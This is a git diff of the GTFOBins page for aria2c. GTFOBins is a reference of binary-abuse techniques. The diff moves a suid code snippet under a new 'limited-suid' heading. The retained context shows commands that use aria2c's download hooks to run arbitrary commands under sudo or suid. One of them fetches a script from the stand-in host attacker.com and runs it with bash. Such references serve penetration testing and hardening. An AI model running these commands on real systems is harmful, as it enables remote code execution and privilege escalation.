diff --git a/_gtfobins/aria2c.md b/_gtfobins/aria2c.md index d9fc451..5793b81 100644 --- a/_gtfobins/aria2c.md +++ b/_gtfobins/aria2c.md @@ -10,13 +10,6 @@ functions: aria2c --on-download-error=$TF http://x - description: The remote file `aaaaaaaaaaaaaaaa` (must be a string of 16 hex digit) contains the shell script. Note that said file needs to be written on disk in order to be executed. `--allow-overwrite` is needed if this is executed multiple times with the same GID. code: aria2c --allow-overwrite --gid=aaaaaaaaaaaaaaaa --on-download-complete=bash http://attacker.com/aaaaaaaaaaaaaaaa - suid: - - code: | - COMMAND='id' - TF=$(mktemp) - echo "$COMMAND" > $TF - chmod +x $TF - ./aria2c --on-download-error=$TF http://x sudo: - code: | COMMAND='id' @@ -24,4 +17,11 @@ functions: echo "$COMMAND" > $TF chmod +x $TF sudo aria2c --on-download-error=$TF http://x + limited-suid: + - code: | + COMMAND='id' + TF=$(mktemp) + echo "$COMMAND" > $TF + chmod +x $TF + ./aria2c --on-download-error=$TF http://x ---